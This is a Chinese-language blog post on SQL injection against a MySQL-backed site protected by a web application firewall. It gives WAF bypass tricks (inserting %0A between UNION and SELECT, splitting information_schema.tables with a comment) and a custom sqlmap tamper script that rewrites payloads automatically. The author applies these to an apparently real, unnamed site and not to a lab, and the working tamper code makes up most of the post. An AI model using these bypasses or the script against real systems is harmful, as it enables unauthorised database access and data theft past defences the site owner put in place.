0%

Mysql注入 - Sqlmap之tamper编写

Bypass @

如图,遇到@,导致注入失败,使用mysql表名即可绕过

Bypass WAF

该站存在WAF,union不可与select同时出现,简单使用%0A即可绕过,即union%0Aselect
另外information_schema.tables也被拉黑,fuzz后发现也不难绕,改为information_schema/**/.tables即可绕过。

Tamper编写

这下绕过是没问题了,可惜sqlmap跑不了,遂想编写一针对此站的tamper,供sqlmap调用,但因未实现过此方式,翻看sqlmap中tamper,发现很简单,接口已经准备好,只需要对payload进行处理就能让sqlmap调用。

编写own.py放入tamper目录下即可

注意:sqlmap中的payload均是大写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0

Notes:
* Useful to bypass weak and bespoke web application firewalls

>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

retVal = payload.replace('SCHEMA.', 'SCHEMA/**/.')
retVal = retVal.replace('UNION ', 'UNION%0A')

return retVal